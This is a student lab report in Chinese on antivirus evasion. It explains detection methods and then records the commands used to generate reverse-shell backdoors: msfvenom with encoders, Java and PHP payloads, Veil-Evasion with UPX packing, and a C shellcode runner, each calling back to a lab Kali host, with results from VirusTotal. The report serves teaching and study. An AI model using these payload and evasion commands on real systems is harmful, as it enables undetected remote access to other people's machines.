Exp3-免杀原理
0.基础问题
-
杀软是如何检测出恶意代码的?
答:①基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,检测时提取特征码和库内做比对来判断。②利用启发式恶意软件检测:基于一些特征或行为等,如果与恶意软件高度相似或基本相同,则判定其为恶意软件。③基于行为的恶意软件检测:对敏感行为进行实时监控,如果某一程序有如常见恶意代码的行为,则视其为恶意软件,是启发式的延申。
-
免杀是做什么?
答:给木马或病毒程序增加伪装,让自己设置的后门在目标机器上不被杀毒软件或者其他的防护软件识别并删除。
-
免杀的基本方法有哪些?
答:①改变特征码②改变行为③修改内存特征码④等价替换法⑤通用跳转法⑥非常规方法
-
开启杀软能绝对防止电脑中恶意代码吗?
答:不能绝对防止。杀软可以检测出绝大多数常见恶意软件,但一些精心免杀处理过的恶意软件或是较新较复杂的恶意软件,杀软一般无法防止。
1.实验准备
免杀测试平台https://www.virustotal.com/gui/home/upload
kali虚拟机ip地址:192.168.233.136

2.实验过程记录
2.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
-
通过免杀测试平台检测实验二中生成的后门exe文件:20201312_backdoor.exe
结果如下


-
使用Unicode编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.233.136 LPORT=1312 -f exe > 20201312backdoor2.exe -e选择编码器,-b是payload中需要去除的字符,该命令中为了使’\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符重新检测结果如下,结果没有变化

编码多次(此处编码12次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -12 -b '\x00' LHOST=192.168.233.136 LPORT=1312 -f exe > 20201312backdoor3.exe结果如下

-
利用php格式文件检测
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.233.136 LPORT=1312 x> 20201312_backdoor_php.php检测结果如下

-
利用jar文件检测
msfvenom -p java/shell_reverse_tcp LHOST=192.168.233.136 LPORT=1312 -f jar > 20201312_backdoor_jar.jar检测结果如下

2.2veil,加壳工具
-
安装veil-evasion
sudo apt-get update sudo apt-get install veil-evasion cd /usr/share/veil/config需要注意的是原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,所以要输入
sudo su //进入root权限,否则将无法更改 vim setup.sh更改setup.sh第260行的克隆地址为
sudo git clone https://gitee.com/spears/VeilDependencies.git
然后输入veil,安装相关模块




安装完成

-
利用加壳工具产生后门软件
veil use evasion use c/meterpreter/rev_tcp.py set LHOST 192.168.233.136 set LPORT 1312 generate
输入文件名为20201312veil
可以看到生成的.exe文件路径为/var/lib/veil/output/compiled/20201312veil.exe
找到文件并将其拖动到桌面(方便后续检测打开文件)

检测结果如下

-
免杀加壳尝试
输入 cd /var/lib/veil/output/compiled upx 20201312veil.exe -o 20201312_veil_upx.exe
可以看到成功生成了文件,同样拖动到桌面
检测结果如下

2.3使用C + shellcode编程
-
使用msfvenom 得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.233.136 LPORT=1312 -f c
编辑vim shellcode_c.c文件,输入生成的shellcode以及下列代码
int main() { int (*func)() =(int(*)())buf; func(); }
通过i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe编译成可执行文件

同样拖动到桌面,检测结果如下

2.4通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
依次输入
veil
use evasion
list
python/meterpreter/rev_tcp.py
use python/meterpreter/rev_tcp.py
set LHOST 192.168.233.136
set LPORT 1312
generate
2
1312xzy

对下面文件进行检测,结果如下


原理:使用了数据加密的方式进行多次编译后门软件
3.问题与解决
- 问题1
在主机上用免杀测试平台检测后门程序时,报错如下:

我请教了遇到同样问题的同学,分析因为后门文件是在kali虚拟机中生成后传输到主机上的,有可能是这个过程中有问题导致无法检测,所以我在虚拟机中进行了测试,得到了结果。
-
问题2
利用加壳工具产生后门软件时,输入文件名后报错

试了两遍都是一样的结果后我意识到由于我重新打开了终端,当前是20201312用户,没有进入root权限,输入sudo su后重新来过就解决了问题。